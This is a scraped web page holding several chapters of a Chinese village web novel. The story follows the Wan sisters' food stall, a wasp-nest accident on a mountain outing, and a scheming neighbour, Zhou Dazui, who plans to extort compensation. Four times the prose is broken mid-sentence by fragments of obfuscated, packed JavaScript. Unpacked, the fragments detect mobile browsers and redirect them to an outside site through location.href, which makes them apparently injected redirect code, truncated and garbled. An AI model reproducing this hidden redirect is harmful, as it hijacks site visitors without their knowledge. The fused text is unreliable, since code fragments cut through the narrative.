RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17251293|197954||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那好，你先问问墩子，若是方便，娘到时候给你们准备干粮。” 盘完账，今日收入扣除买豆腐、地栗和板油的花销，还剩下三十文。加上之前剩的八文，万秋灵手里一共有三十八文钱。 万老爹和杜氏仍然是支持让她留着自由支配，不管是买调料还是别的，都要用钱。万老爹的药还有，他们变卖的钱、攒的积蓄能撑住一段时间。 三十八文，这笔钱说多不多，只够给万老爹抓一副稍好点的汤药，说少也不少，若是用在投资小摊上，添些酱醋面油不成问题，能置办几样了。 万秋灵仔细地把钱收好。饭吃饱了，她要去灶屋熬制新买的板油。 万小兰兴冲冲地去生火，想到待会儿有猪油渣吃，整个人就是大写的开心。忽然听到院子外有人喊：“小兰姐，小兰姐，出来玩呀！” 听声音是墩子的弟弟和妹妹。 这几天忙着摆摊，也有阵子没和他们出去耍了，万小兰狠下心，舍弃了等待第一口猪油渣。 “阿姐，翠花和栓子叫我呢，我先去了。”她不忘提醒，“记得给我留点油渣呀！” “知道了，去吧。” 院外很快传来孩子们嬉笑的声音。 万秋灵取出板油，用烧得温热的水洗了一遍，切成小块放到锅里，又舀了一碗水加进去，开始熬猪油。 她添了把柴，等锅里烧开，时不时搅动一下。大概一刻钟后，锅里的水分逐渐蒸发掉，板油已经缩成更小的块，飘在微黄的油脂中。油逐渐变得清亮，万秋灵用锅铲按压，将猪油舀进罐子里，只用小火慢慢炸油渣。 整个灶屋都是猪油的香气，她把油渣沥干捞起，撒了点粗盐，剩下的油也铲干净。 刚炸出来的油渣酥脆焦香，万秋灵连吃了好几个，用小碗装了点，拿去给万老爹也尝尝。 忙活完，她才去叩隔壁家的门。 开门的正是墩子，他侧身让开，“秋灵姐，快进来。” 院子里有些凌乱。靠墙根的地方搭了个凉棚，下面堆放着竹子，有的已经劈成篾条，地上还散落着篾刀、锥子等工具，空气里都是竹子的气息。 “你一个人在家吗？”万秋灵随口问道。 “爹娘和大哥在坡上，栓子翠花跑出去玩了，大嫂在屋里歇着呢。”墩子搓了搓手，“秋灵姐，在院子里坐吧，屋里闷。” 他搬了把椅子给万秋灵，自己又回到棚子下，拿起编了一半的篮子继续忙活。他的手很粗糙，上面是新旧叠加的茧子和细小的划痕，拇指上缠的布条有些脏了，动作十分熟练。 万秋灵好奇问：“编这样一个篮子，要多久？” 墩子手上动作不停：“这种装菜的小篮子，做熟了一天能编三四个，要是大的物件，就慢得多。” 万秋灵算了算，他估计得攒个几天，凑一担子再去卖。她切入正题：“你下回啥时候去镇上？我想跟着一起，小兰可能也去。” “后天就成，我这几天赶工，又攒了些。”墩子咧着嘴笑，“秋灵姐，镇上路远，得起个大早，先跟你讲一声。” “行，早点没关系。”反正她现在每天都要被“人形闹钟”万小兰吵醒，大部分时候睁眼，天都是黑麻麻的。 两人又闲聊了几句。 他们并不知道，一场风波即将来临。 8. 踩马蜂窝 万小兰出了门，翠花立马上前，亲热地挽住她的胳膊，眼睛亮晶晶的：“小兰姐，我们喊上二喜，一起去山上玩吧！说不定能找到羊奶果和刺泡呢！” 院门外，栓子，还有村东头赵家的富贵都在。都是年纪相仿的玩伴，万小兰也馋果子，立刻点了点头。 几个孩子蹦蹦跳跳去了二喜家，把人叫出来。二喜胆子有点小，不经常上山，怕遇见蛇，但她在家闷了好几天，看人多热闹，很快也答应了。 五个人汇合，有说有笑地朝着村后山林走去。 才到山脚处，就见一个人影从小道急匆匆冲下来，差点和栓子撞个满怀。 “虎子，你跑啥呢？”栓子稳住身形，皱眉问道。 跑下来的正是周大嘴的儿子周虎，他比栓子大一岁，四处闹腾，平时老跟狗剩那帮大孩子混，不太看得上栓子他们几个，今天却是一个人。 虎子看到他们，先是一愣，眼珠子滴溜溜转了几圈，忽然咧开嘴道：“怎么，你们这是要上山？一起啊。” 几个孩子互相看了看，都不太情愿，尤其是万小兰，紧紧抿着嘴唇。虎子娘整日在村里说闲话，可没少说她家坏话，她不待见周婶，连带着看虎子也不顺眼。 二喜小声说：“虎子哥，我们就随便转转。” “随便转转？那多没意思。”他像是没听出拒绝，反而凑上来，“我知道哪个地方有好的果子，我带你们去，怎么样？” “真的吗？”富贵有点怀疑，虎子怎么变这么大方了。 “骗你们干啥？我中午才发现的，那一片也就两棵，不去拉倒，我摘了吃独食。”说着转头就走，还不忘喊他们，“跟上呀！” 几人犹豫了一下，还是跟着去了，本就是奔着果子来的，万一有呢，去看看也不亏。 拐了几个弯到半山腰，虎子带的路越来越偏了，富贵先喊了停。 “这边的路都没啥人走，大人说了，山里得走老路，别乱钻，万一迷路就坏了。” 虎子却嘲笑他胆子小：“我都去过了，哪有什么事？”又用不屑的眼神瞥他们，“瞧你们这怂样，还想吃大果子？嘁……也就配在路边捡点别人捡剩的烂果子！路偏点就不敢走了。” “谁说我们不敢！”栓子第一个不服气。 “就是，我们人多，怕什么！”富贵也被激起了好胜心，他可不想被人叫胆小鬼。 虎子听他们这么说，哼了一声：“想去就跟我来，磨磨蹭蹭的。”说完就朝一条杂草丛生的岔路走。 栓子和富贵抬脚跟了上去，几个女娃犹豫了一会，手拉着手，追上了伙伴们的背影。 越往里钻，路越难走，两旁的荆棘和灌木时不时勾住衣服，一不小心就容易被刺伤，但是来都来了，几人也只好硬着头皮继续往前。 如此艰难地走了一段，坡上出现了一片空地，阳光透过树冠洒下来。空地边缘，果然有两棵野生的果树！ 果树一高一矮，分别在空地两头。枝条向周围伸展着，上面结了一些青红相间的野果，有的果子完全是青的，有的果子快红透了。 “还真有！”富贵几步跑过去，仰头打量，“还不少呢，虎子，够意思啊！” 大家都很高兴，左看看右瞧瞧，兴奋地围着空地打转，没白跑一趟。 虎子指了指左边高的果树：“大的果子都在这棵上头呢，站着够不着，得爬树上去。” 栓子自告奋勇，他个子小但是灵巧，抱着树干就往上窜，富贵也不甘示弱：“我也能爬，咱们比比谁摘的多！” 翠花跑到树下，仰头喊：“哥，你摘了丢下来，我拿衣服兜着。” 二喜拉着万小兰走到右边矮些的树下，这棵树枝条低垂，也挂了不少的果子。 “这树挺好，我们不用爬。”二喜说着，直直地举起手，勉强够到了最下面的果子。 万小兰个子比她高，把最矮的枝条留给她，去摘另一串。 那边树上面传来了富贵的喊声：“谁来帮我接一下！我口袋小，果子掉出来要摔坏了！” 二喜回头，见栓子和富贵各爬了一头，翠花在下面顾不过来。 她本想喊虎子，却看虎子蹲在一旁，用树枝扒拉地上的叶子，半点没有过去的意思，只好自己跑去了。 矮树下只剩万小兰。她方才尝过一口半红的果子，差点酸掉牙，只能尽量挑一些红的摘。近的几枝很快就摘完了，口袋才装了一半，万小兰又去摘前面的枝丫。 她再次踮起脚，伸长手臂，身体微微前倾，努力去够那串果实。 就差一点点……指尖刚刚摸到果子，就在这时，她脚下突然一空，身体瞬间失去平衡！ “啊！”万小兰惊叫一声，整个人不受控制地向前摔去！ 这片地方坡度不算陡，但她扑倒的方向正好是对着下坡，前面有不少带刺的灌木丛和碎石，若一路滚过去，怕是刮花了脸都算轻的！要是把脑袋也磕到了，后果不堪设想…… 慌乱中，万小兰本能地用双手乱抓，幸好她拽住了一根侧面的树枝。 “喀嚓”声响，树枝被拽得折断，多少缓冲了她往前扑的势头。 万小兰顺着山坡滚了大半圈，身上好几处都火辣辣的痛，耳朵轰鸣作响，翠花她们的呼喊声都变得模糊不清。 还没等她完全爬起来，就感觉脚上踩中了什么异常松垮的东西，像是沙子堆，又像是蓬松的泥土块。 “嗡……” “嗡嗡……” 密密麻麻的振翅声响起，越来越明显，越来越近，让人头皮都要炸开！ 万小兰因恐惧瞪大了双眼，瞳孔里倒映出无数黑黄相间的马蜂，正从塌陷了一角的蜂窝里喷涌而出！ 像是一张黑色的毯子，一片乌云般的大网，狰狞着、呼啸着飞到空中。 “啊！！” “救命——！” …… 万小兰是一路哭嚎着回家的。 “爹，娘！阿姐！呜呜呜……”她头发凌乱，粗布衣服被荆棘勾坏了好几个口子，一身满是泥土杂草。 万小兰冲进院子，卷起了一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17251294|197954||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 边裤腿，膝盖和腿上有不少擦伤，手掌也破了皮，渗着血丝。 更悲催的是，她的脑袋、脖子和手臂上肿起了十几个红通通的包，尤其是额头上那个，肿得老高，又大又红，特显眼，大概就是显眼包吧。 听到哭声，万秋灵疾步出来，见妹妹出趟门变成这副惨样，吓了一跳。 “你这是怎么了，摔倒了？”万秋灵扶着她，看到她身上的包，“这是，被蜂子蛰了？” 万小兰又是委屈又是后怕，只一股脑地哭，话都说不清楚。 “里面还有蜂刺，我先帮你弄出来，忍着点。” 万秋灵替她找着伤口，把残留的毒刺一根根拔出来，弄一下，万小兰就疼得哆嗦一下。 把刺处理完，万秋灵打了盆水，将布沾湿，轻轻擦掉她伤口周围的泥土和污渍，简单清理创口。 万老爹拄着拐杖，慢吞吞挪到房门口，看万小兰虽然狼狈，但哭声中气十足的，只是擦破了几块皮，不严重。身上的那些包，他一眼就猜到是什么事，眉头拧着：“又去山里野，看看，遭罪了吧！” 话音一落，万小兰哭得更大声了。 万老爹不理，见大女儿处理的有条不紊，又拄着拐杖回屋了，只竖着耳朵听外面的动静。 万秋灵被嚎得耳朵痛，她干脆去灶屋，把猪油渣端出来放桌上。 诱人的焦香飘散开来，万小兰鼻翼不自觉动了动，又动了动，哭声停顿了下。 她睁开朦胧的泪眼，看着那碗焦焦脆脆的猪油渣……几乎没有犹豫，伸出手就准备开吃了。 身上还是很疼，这里疼、那里也疼，不过那可是猪油渣啊。拿起一块嚼了嚼，真香，又拿一块……脸上还挂着泪珠，但嘴巴很忙碌，没工夫再哭。 看她情绪稳定下来，万秋灵这才问道：“说说咋回事，怎么摔的，又怎么惹到马蜂了？” 万小兰嘴里塞满了猪油渣，含糊地说出原委。从山脚下遇到虎子，到跟着他去了一条偏僻的山路，然后是摘果子时突然摔倒，最后…… 听到虎子这个名字，万秋灵皱眉；听到去小路，还踩空摔倒，眉头皱得更紧了；再听到踩中马蜂窝时，她额角抽搐—— 这倒霉的熊孩子！这都行？ 万秋灵虽然是个唯物主义者，但此时也略微有些动摇，想起那句“接二连三的倒霉事儿”。 “要不真的找个人，驱驱邪吧。”她低声呢喃。 万小兰一脸呆愣，鼻孔吹出了一个大大的鼻涕泡：“啊？” “没什么，快把鼻涕擤了。”万秋灵追问，“其他人呢？翠花、栓子他们怎么样了。” “他们……他们也都被蛰了，那个马蜂窝可大，蜂子多，飞得又快。”万小兰说着说着，突然破涕而笑，“尤其是虎子！他和我挨得最近，跑得又慌，摔了个狗吃屎，被蛰得可不轻！” “我看到马蜂飞过来，麻溜地爬起来跑，还不忘用袖子把眼睛嘴巴遮住。”她绘声绘色地比划着，“我都跑过去了，虎子还在原地哎哟哎哟地叫呢，哈哈哈哈哈哈！” 9. 变猪头 周大嘴这天过得很是煎熬，从早晨起就觉得肚子不利索，咕噜噜作响，坐立不安。 也不知是早上吃的咸菜变味了，还是夜里着了凉，肚子里雷鸣阵阵，隔一阵就“噗”地一声，放出个臭不可闻的响屁来。 她一整天都没好意思往人堆里扎，只能待在家里，时不时就得去茅坑里卸卸货，腿都蹲麻了。 正揉着闷痛的肚子，院门被轰地撞开，紧接着就是儿子那宛如杀猪一般的叫声。 “娘！娘诶！疼死我了！” 周大嘴心里一烦，回来就这个死动静，吵吵嚷嚷的。 “嚎什么丧！一天到晚……”她骂骂咧咧地扭头，话刚说一半，就大惊失色。 虎子连滚带爬地扑进堂屋，那模样当娘的都差点不敢认。 整张脸像发面馒头一般，眼睛肿得只剩下一条缝，额头、脸蛋、下巴，好多个触目惊心的红肿的大包，包的顶端还能看到小的黑点。 天爷啊！这哪是她的儿子，都快肿成猪头了！ 这还不算完，虎子走路的姿势也非常奇怪。两腿岔开，交替着往前挪，好不容易挪到凳子旁，屁股才将将挨着点边—— “嗷！”他瞬间弹了起来，呲牙咧嘴的，眯缝眼里又挤出一行热泪，淌过脸上高低起伏的包。 周大嘴也顾不得数落了，冲到儿子身边，想碰又不知道从哪儿下手，“你这是咋弄的？怎么遭马蜂给蛰成这样？” 她急得团团转，准备找点土方子给儿子抹一抹，肚子又是一阵绞痛袭来。 “咕，咕……” 周大嘴脸色难看，弓着腰憋了好一会，熬过那阵劲了，才直起身，结果一个又响又臭的长屁还是溜了出来，在屋子里显得格外突兀。 “噗——” 满屋飘香，虎子登时不敢哭了，憋着气流眼泪，不知道是痛得还是被熏得。 “哎哟……”周大嘴也有点尴尬，顾不上什么憋不憋的，先去房里翻出几块消肿的草药。 草药不知放了多久，已经完全干硬了，黑乎乎臭烘烘的，拿起来还掉渣。 周大嘴吐了两口唾沫在手心，把草药捣鼓成泥状，混合出来的味道简直令人作呕，她挖起一团就糊到儿子脸上。 “躲什么躲？这是你爹找别人求来的方子，敷上才好得快！” 太呛鼻子了！虎子扭得跟田里的泥鳅一样，刚抹的草药又被他泪水冲垮不少。周大嘴火气也上来了，一巴掌拍他脑门子上，“你再乱动试下！” 虎子痛得打了个哭嗝。 屋里充斥着各种古怪的气味，母子俩默契地屏气凝神，除了虎子压抑的痛呼声，以及周大嘴肚子时不时闹腾一下，难得安静。 好不容易把虎子的脸拾整完，周大嘴这才扶着腰，喘着粗气，咬牙切齿问：“你个不省心的娃儿，是不是又跟狗剩那几个混球去捅马蜂窝了？我跟你说了多少回，少跟他们学，少惹事！” 那几个大点的娃子疯归疯，勉强还晓得点分寸，就自家的混球，有样学样，净学些歪的打脑壳的，比谁闯的祸都多！ “不是！”虎子哪能允许别人冤枉他狗剩哥，连忙反驳，“是万小兰，是她踩了马蜂窝，蜂子全都飞出来蜇人，都怪她！” “万小兰？” 周大嘴一听就炸了，新仇旧恨全涌了上来。她本来就看不惯万家姐妹，这下逮着机会，拍着大腿就骂开了： “万小兰那个贱丫头肯定是故意的，心肠真真儿是歹毒，把你害成这个鬼样子！自己晦气去踩马蜂窝，还要拖累我儿子，真是个害人精！” “我就知道，他们万家没得一个好东西，一家子都黑心烂肺的，跟你讲了你不听。你去跟她们玩，这不就被害了去？” “还学人卖吃食，卖个屁！谁知道里面加了什么脏东西烂菜叶子，吃了也要拉稀！” 周大嘴直接扫射万家所有人，一大盆脏水泼了出去，甚至恨恨地想，指不定她肚子痛也是被这家人害的。 隔壁院里在择菜的妇人，听到这一连串的咒骂声，摇了摇头。 她低声对儿媳嘀咕：“又来了，这话骂得真难听。村里就数她家虎子最能闯祸，谁家孩子跟他玩谁倒霉。这回八成又是虎子自己惹的事，她倒好，说别人一家害他儿子。” 儿媳也皱着眉头：“周大嘴这人……她惯是胡搅蛮缠，背地里耍横。要不是万家男人病了，她哪敢骂这么大声。” 他们两家当邻居，三天两头就能听到周大嘴说别人，骂得不重样。平时儿子闯了祸，当面给人家赔罪，关起门就翻脸骂人，尤其是那些好说话的农户。 两家也没少发生摩擦，打了不少口水战，相处得很不愉快。 周大嘴一吵起来，耳朵半天是得不到清净了，婆媳俩干脆回屋。 鸡飞狗跳的一天随着夜色深沉结束。 虎子趴在炕边，屁股和脸都不敢挨着东西，周大嘴只好帮他把被子中间腾空，不完全贴着，脸也只沾个枕头边。 安顿完孩子，周大嘴这才回到炕上躺着，却毫无睡意。 肚子虽然消停了，但是心里面邪火还烧着。她捅了捅身边的虎子爹，把白天的事情又抱怨了一遍。 她男人听得耳朵都要起茧子了，翻了个身不说话。 周大嘴愤愤不平：“哎，你听见没？虎子今天可遭大罪了！” 虎子爹“嗯”了一声，没动弹。 周大嘴却越说越来劲，对着男人的后背直叨叨：“都怪万家那个死丫头，非要作死踩到马蜂窝，把咱们虎子蛰成啥样了……” 虎子爹被吵得烦：“蜂子不长眼，蛰了谁就算谁倒霉，虎子以前又不是没遭蛰过。” “你这是说的什么话？”周大嘴音量拔高，“她要不踩蜂窝，能有这事？” 她越想越憋屈：“不行，这件事不能就这么算了。” “小孩都一路玩的，被蛰的又不光是虎子一个，你还想咋样？就你儿子金贵？” 周大嘴灵机一动，脑子飞快思考起来，对啊，去的几个娃子都被蛰了……她哼了一声，理直气壮道：“咋样？当然是让万家赔，虎子这罪不能白受！” 以前都是她儿子捣乱，她去给别人家赔不是，现在踩了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17251295|197954||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 马蜂窝惹出事的可不是虎子！万家就不该表示一下？ “赔？”虎子爹嗤笑一声，翻身回来面朝她，“拿啥赔？谁不知道万家现在啥光景，一家子喝西北风。你叫他们赔？赔什么，赔你一碗糠还是赔你一篮野菜？” 周大嘴被他噎了一下，酸里酸气道：“你天天只知道种那点地，还不知道吧？他家那俩丫头，都学着去赶集做生意赚钱了。” 虎子爹倒是第一次听说，挺意外，但转念一想：“丫头片子能挣到什么钱？” “甭管多少，总归是赚了！”周大嘴心里本就不平衡，“上回还买了小鸡仔呢。” 其实她也不觉得万秋灵能赚多少钱，丫头能顶什么事？但是苍蝇腿也是肉，最好是把她们赚的钱都赔出来，灭了万家姐妹那股嚣张劲儿。 越想越觉得合理，她伸手重重拍了拍男人的胳膊：“咋又不说话了？你是不是不心疼你儿子？看看他那惨样，只有我这个当娘的心疼他，他是我身上掉下来的肉啊！” 说着，她假模假样地呜咽起来，在寂静的黑夜里听着十分瘆人。 隔壁屋，虎子在睡梦中不安地扯了扯被子。 虎子爹拿她没办法，他重重叹了口气：“行了行了，随你，要闹你就闹！别吵吵了，我明天还得下地。” 至于是真的被她吵得没办法，还是听到有钱能讹……总之算是默认了。 周大嘴立刻止住了假哭。她依旧没睡，在心里盘算着。 万家那个大丫头，年纪轻轻，嘴皮子却跟刀子似的，专往别人痛处扎。之前两回都被那丫头怼得没话讲，要是一个人对上她，不知怎的，还有点发怵。 不过他男人提起的那句——“被蛰的又不止虎子一个”，倒是点醒她了，富贵、栓子、翠花、二喜，好几个娃子呢！ 她一个人去，不一定能捞着什么，可要是把那几家娃子的爹娘都叫上呢？ 到时候好几家大人一起堵上门讨说法，那个丫头片子再能说会道，一张嘴还能吵过几张嘴？最好把事情再闹大点，村里一人一口唾沫星子都能淹死人，赔礼道歉是轻的，乖乖赔东西才像样。 想象着万秋灵被一群人围着，话都说不清楚，惊慌失措的样子，周大嘴心里那股憋闷的气终于散了。 她简直要笑出声来，赶紧抬手捂住嘴。 过年走亲戚串门拎了只鸡，还有自家宰了一只吃，鸡圈位置空出不少，添个鸡仔正合适。她想着，最好是母鸡，养肥了好下蛋。 …… “叽叽，叽叽！” 垫着干草的箩筐里，一叠细弱的叫声响起，万小兰伸出手指，点兵点将地，把它们的脑袋挨个摸了遍。 或许是闻到她手上传来的血腥气，四只小脑袋围成一圈，米粒大小的眼睛都好奇地打量着。 万小兰蹲在筐子边，嘴巴里念念有词：“多吃点，快快长肉，快快下蛋！” “小兰，来端饭！”杜氏的声音从灶屋传来。 “来了！”万小兰这才拍拍手站起来，“你们好好的啊。” 小鸡仔们疑惑地看着她走远了。 10. 心里有鬼 晚饭炖的是鲫鱼豆腐汤，依旧煎了两个鸡蛋一块煮的。 奶白的鱼汤，白嫩的豆腐快，快出锅时，撒上一把野葱花，鲜香扑鼻。混合着汤汁舀上一大勺，送进嘴里，豆腐块嫩得几乎不用嚼，只需轻轻一抿，就在舌尖化开了。 两个鸡蛋都从中间分开，一人吃上半块。煎炸后的鸡蛋带着焦香，炖煮后又吸满了汤汁，咬上一口，畅快淋漓，别提有多下饭。 万小兰吃得鼻尖冒出了汗，早把什么马蜂什么摔伤抛到脑后。 杜氏一开始还担心女儿的伤，见她吃饭这般香，发现这孩子自己都不放心上，没心没肺的，也不记疼。 那几颗野果子，在逃跑路上都掉得差不多了，兜里还剩下几颗。万小兰吃饱喝足，把果子洗干净了，先孝敬给了万秋灵，笑容那叫一个谄媚。 万秋灵挑了颗尝了。果子酸酸甜甜的，有点像口感偏硬的李子，挺解腻，就是摘的代价有点大。 也不知道野蜂跑干净没有？要不然杀个回马枪，干脆再去摘点得了，也不白摔一跤。 “阿姐，我这还有。”万小兰自个不吃，眼巴巴地盯着万秋灵，缠在她身边，“阿姐，今晚我跟你睡吧？” 原来在这儿等着她呢，万秋灵果断拒绝：“不行，睡不开。” 她才不要和妹妹一起睡，两个人只要有一个睡相不好，另一个就休想睡安稳觉，别半夜给人踹下炕去。 睡不开也是真的，她俩睡的小屋原本是间大屋子，后面用土坯在中间砌了墙隔开的。两个房间的炕都比较窄，一个人还能睡，两个人并排就勉强了。 “挤一挤就行了。”万小兰开始卖惨，指着额头上的大包，“你看我都受伤了，身上好疼，一个人睡害怕。阿姐，你就让我跟你一起睡吧，好不好嘛！” 她拽着万秋灵的袖子左右摇晃，顾及着伤口，只用手指捏了个角。万秋灵不吃这一套，把袖子拔了出来，“就是因为你受伤了才不能一起睡，我睡觉动来动去，万一压到你的伤处怎么办？” 万小兰噘着嘴，也不递果子了。 等万秋灵洗漱好回屋，发现被子里鼓起了一座小山丘，万小兰只露出了一半脑袋，眨着眼，正可怜兮兮地看着她。 万秋灵：“……” 两人一起挤在狭窄的炕上。万小兰很兴奋，完全没有要睡觉的意思，在黑暗里叽叽喳喳，东拉西扯，一会儿聊吃的，一会儿聊去镇上要穿哪件衣裳。 说着说着，话题又绕回了白天的事情。 “……树下面都是树叶和草，谁知道会有蜂子藏在底下呀，一点巢都看不见。”万小兰的声音带着些困惑，“那个地挺结实的呀，山里又没下雨，也不知道怎么摔的……脚下面突然就打滑了。” 万秋灵有些昏昏欲睡，听她这么一说，倒是清醒了几分。 她心里有个朦胧的猜测，得等明天验证一下。 …… 周大嘴去叫虎子起床，他仍旧一摊死鱼般趴在炕头，嘴里不断发出难受的哼哼声。 不知道是不是那个草药威力过猛，虎子的脸肿得更夸张了。 草药干成了一块块的硬痂，留下不少深褐色和紫黑色的印子，让虎子的脸色十分精彩，像是被人痛揍了一顿，变成染了色的发面馒头。 周大嘴原本还盘算着，要是虎子脸上肿消得太快，出去讨说法不够有说服力。结果醒来一瞧，天爷，咋更吓人了？以前被蜂子蛰了也不这样啊，难道是草药失效了？还是捂到了……看起来是真的很严重啊！ 周大嘴这会儿倒真的有些慌张了，万一儿子有个好歹，万家赔得起吗？ “虎子，你咋样？”她帮着儿子慢慢爬起来，趴一晚上，脖子半天都回不过弯。 “难受，脸上紧绷绷的，又痒又疼。” 他声音带着哭腔，害怕地小声说：“娘，我、我昨天晚上做噩梦了，吓死我了！刚要睡着的时候，迷迷糊糊……听到有东西在哭，呜哇呜啊的，是不是鬼啊？娘！是不是咱家不干净，招什么东西了？” 周大嘴气得不轻，她昨晚假装呜咽那几声是为了谁啊？ 她抬手就想给倒霉儿子脑袋来一巴掌，看着他那颗“猪头”，又找不到地方下手，只能憋着火气骂：“放你娘的狗屁！哪里来的鬼？我看是你心里有鬼，一天天的净瞎说。” 谁知虎子心里确实有鬼，他听了这话咯噔一下，眼神闪躲，不敢看他娘。 难道说，娘已经知道了？什么时候知道的？ 实际上他眼睛肿成缝，别人压根看不到他慌乱的眼神，臃肿的脸颊上五颜六色也看不出脸红和异样，几个包本身就够怪异的了。 周大嘴没好气道：“赶紧起来收拾一下，今天跟我去村头。” 虎子听了，顾不得心虚，哀嚎道：“娘，我都这样了，还怎么见人啊！去村头干啥？被人当笑话看吗？”要是狗剩哥找他玩，他都要躲着，免得被笑掉大牙，“我不去，我哪儿也不去！就在家呆着。” “去不去由不得你！”周大嘴态度异常强硬，“少跟我废话，再磨叽信不信抽你？”她作势要打。 虎子赶紧缩了缩头，他早就被打惯了，不怕疼，但是这会儿浑身上下都不舒服，遭不住一顿打了。 见他娘铁了心，他只能豁出去：“别打别打，我去！去还不成吗！” 被催着喝了点稀粥，虎子顶着那张骇人的脸，不情不愿地被周大嘴拽出了门。 “虎子娘，这一大早的，带着虎子去哪啊？” 没走多久，遇到了村里拾粪的老汉。 “唉，去村头转转。”周大嘴满脸写着愁苦，手上暗暗使劲，把缩在她身后的虎子给扯了出来。 那老汉看到虎子，吓得后退半步，倒抽一口凉气：“哎哟我的娘！！虎子这脸……这是咋整的？” “我可怜的儿啊，被山里的马蜂蛰了，差点没要了命去！”周大嘴佯装哭泣，拿袖子擦了擦不存在的眼泪。 “这……这眼睛都瞧不见了！”老汉连连摇头，打算拾完粪回去就教育孙子，可不许去山里招惹蜂子。 一路上遇到的人，无一不被虎子的模样吓到。无论是井边打水的妇人，扛着锄头下地的汉子，全都议论纷纷。周大嘴也不嫌累，挨个抽抽啼啼表演一通，用不了多久，整个村子都能传遍。 有个被妇人牵着的小娃娃，看着虎子倒是不害怕，还指着他说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17251296|197954||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ：“娘，虎子哥像，昨天糊的菜疙瘩汤……” 意思是说他丑。 那妇人赶紧捂住了孩子的嘴，快步走开了。 虎子只觉得脸上火辣辣的，却不是伤口在痛。 被指指点点了一路，他快崩溃了，多么想跑回家躲起来，但是被他娘拽得死死的。他调皮捣蛋惯了，都是别人怕他躲他，哪里被这么多目光当猴子盯着过？ 捱到村头的老槐树下，已经聚了不少早饭后话家常的村民。周大嘴拖着虎子一出现，立刻成为全场的焦点，一个抹着泪，一个模样凄惨。 “这是虎子？险些没认出来！” “这是被多少马蜂给围了？” 有人小声嘀咕：“咋肿这么厉害，不会破相吧？以后可咋说媳妇？” 破相？虎子心里一沉，差点哭了出来，他可不想找不着媳妇！ 又有人建议道：“得赶紧找个赤脚大夫瞧瞧，抓服药喝了，说不定就好了。” 想到又苦又涩的汤药，光闻着味儿都能吐，虎子更想哭了。 不管别人咋说，周大嘴只轻轻抚摸着儿子的头，满脸忧伤。 “赵家那个富贵昨儿个也被蛰了，今早我瞧着，可没这么吓人。”一个平时跟周大嘴不太对付的婶子撇了撇嘴，她就住在赵家隔壁，赵富贵身上是有几个包，只是微红，不仔细看都注意不到。 “这倒是，平常蜂子蛰了，过几天就消了，用不着花那个冤枉钱抓药吃。”另一人附和道。 周大嘴一听这话，心里暗骂这婆娘多嘴，面上却做出更伤心的样子，顺着话头就开始卖惨。 “这位妹子说的是啊，要是虎子自己调皮，捅了马蜂窝被蛰成这样，也就是自认倒霉，该抓药就抓药。可是……”她故意停顿，叹了口气，说话半遮半掩的。 果然，有人被勾起了好奇心，问她：“虎子娘，听你这意思，不是虎子的问题，还有别的情况？” 周大嘴清了清嗓子，压低声音：“唉……我家虎子是倒霉，被、被别人给害了！” “被人害了？”众人听她这话，有点不太相信。虎子平时啥德行啊，只有他害别人的份儿，搞破坏、欺负小孩都是他拿手的，还能被别人害？ 可看着虎子这副惨样，质疑的话又说不出口。而且周大嘴是什么人呀，只有她跟别人叫骂的份儿，儿子吃了亏，哭哭啼啼可不是她的作风。 “谁呀？下手这么狠？” “昨天后山好几个孩子被蛰了吧，五六个孩子呢。” “就虎子最严重？这……” 众人开始猜测起来，看着他们母子的样子，心里的天平逐渐倾斜。平常小打小闹的没事，若是有人使坏，那性质可就不同了。 眼瞧着目的达到了，周大嘴也不多待，拉着虎子要走：“不说了不说了，孩子遭罪，我心里这个难受啊！我得去赵家问问富贵他娘，看他家孩子咋弄的，好得快些，我也学学去。” 她不需要把话挑明白，由着大家去讨论。 见过虎子的模样，不少人都对她的说法信了几分，见她急着去找别人取经，都是当父母的人，不由得感慨。 “哎，也是可怜啊……” 11. 火烧眉毛 “阿姐，你一大早喊墩子哥干啥呢？怎么没叫上我呀？”万小兰跟个小尾巴似的，追在万秋灵后面，问题一个接一个往外蹦。 万秋灵暂时没心情理她，昨天她非要赖着一起睡，倒是没有滚来滚去的，也没有胡乱踢被子，但是——万小兰，她说梦话！ 果然，话多的人哪怕在做梦，话也还是一样的多。后半夜万小兰嘟囔了好一阵子，不知道在梦些什么，说的话也连不成句，但时不时就冒出点声音来，扰得她根本没睡好。 